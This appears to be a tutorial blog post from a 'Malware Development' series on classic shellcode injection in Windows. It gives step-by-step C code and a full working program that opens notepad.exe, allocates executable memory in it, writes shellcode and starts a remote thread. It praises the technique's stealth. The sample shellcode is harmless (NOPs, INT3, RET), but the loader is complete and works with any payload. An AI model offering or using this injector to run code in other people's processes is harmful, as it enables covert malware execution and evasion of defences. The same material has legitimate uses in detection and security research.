Process Injection: Classic Shellcode Injection
Welcome to another post in the Malware Development series. In this article, we’ll break down Classic Shellcode Injection—one of the most fundamental and widely used process injection techniques. We’ll explain each step in detail, describe what’s happening under the hood, and provide clear C code samples along the way. At the end, you’ll find a full working example.
What is Classic Shellcode Injection?
Classic shellcode injection is the process of injecting raw, position-independent code (shellcode) into the memory of another running process and then executing it. Shellcode is typically a small, handcrafted assembly payload designed to perform a specific action, such as spawning a shell or downloading a file. Unlike PE injection, shellcode is just a sequence of CPU instructions with no headers or sections.
Why Use Shellcode Injection?
Stealth: The injected code never appears as a file on disk.
Simplicity: The technique is straightforward and effective.
Flexibility: Works with any process you have access to, and can execute arbitrary code.
Step-by-Step Classic Shellcode Injection
1. Locate the Target Process
First, you need to identify the process you want to inject into. This could be any running process—commonly something benign like notepad.exe
or explorer.exe
. You can enumerate processes using APIs like CreateToolhelp32Snapshot
or, for demonstration, use FindWindow
to get a PID by window name.
Sample Code:
// Example: Find the PID of Notepad by its window title
HWND hwnd = FindWindowW(L"Notepad", NULL);
DWORD targetPID = 0;
if (hwnd) {
GetWindowThreadProcessId(hwnd, &targetPID);
}
if (targetPID == 0) {
printf("Target process not found.\n");
exit(1);
}
2. Obtain a Handle to the Target Process
With the PID in hand, you need to open the process with sufficient privileges to allocate memory, write to it, and create threads.
Sample Code:
1
2
3
4
5
6
7
8
9
10
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE,
targetPID
);
if (hProcess == NULL) {
printf("OpenProcess failed. Error: %d\n", GetLastError());
exit(1);
}
3. Allocate Memory in the Target Process
You must allocate a memory region in the target process that is large enough for your shellcode and marked as executable. This is done with VirtualAllocEx
.
Sample Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC, 0xC3 }; // Example shellcode (NOPs + INT3 + RET)
SIZE_T shellcodeSize = sizeof(shellcode);
LPVOID remoteMem = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (remoteMem == NULL) {
printf("VirtualAllocEx failed. Error: %d\n", GetLastError());
CloseHandle(hProcess);
exit(1);
}
4. Write the Shellcode to the Allocated Memory
Now, copy your shellcode from your process into the target process’s memory using WriteProcessMemory
.
Sample Code:
1
2
3
4
5
6
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL)) {
printf("WriteProcessMemory failed. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
exit(1);
}
5. Execute the Injected Shellcode
Finally, create a new thread in the target process that starts execution at the address of your shellcode. This is done with CreateRemoteThread
.
Sample Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteMem,
NULL,
0,
NULL
);
if (hThread == NULL) {
printf("CreateRemoteThread failed. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
exit(1);
}
printf("Shellcode injected and thread started!\n");
Full Working Example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <windows.h>
#include <stdio.h>
int main() {
// 1. Find Notepad PID (for demo)
HWND hwnd = FindWindowW(L"Notepad", NULL);
DWORD targetPID = 0;
if (hwnd) {
GetWindowThreadProcessId(hwnd, &targetPID);
}
if (targetPID == 0) {
printf("Target process not found.\n");
return 1;
}
// 2. Open target process
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE,
targetPID
);
if (hProcess == NULL) {
printf("OpenProcess failed. Error: %d\n", GetLastError());
return 1;
}
// 3. Allocate memory for shellcode
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC, 0xC3 }; // Example shellcode
SIZE_T shellcodeSize = sizeof(shellcode);
LPVOID remoteMem = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (remoteMem == NULL) {
printf("VirtualAllocEx failed. Error: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// 4. Write shellcode to remote process
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL)) {
printf("WriteProcessMemory failed. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// 5. Create remote thread to execute shellcode
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteMem,
NULL,
0,
NULL
);
if (hThread == NULL) {
printf("CreateRemoteThread failed. Error: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("Shellcode injected and thread started!\n");
// Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Conclusion
Classic shellcode injection is the foundation of many process injection techniques. By following these steps—finding a target, opening it, allocating memory, writing shellcode, and creating a remote thread—you can execute arbitrary code in another process’s context. This method is simple, effective, and forms the basis for more advanced injection strategies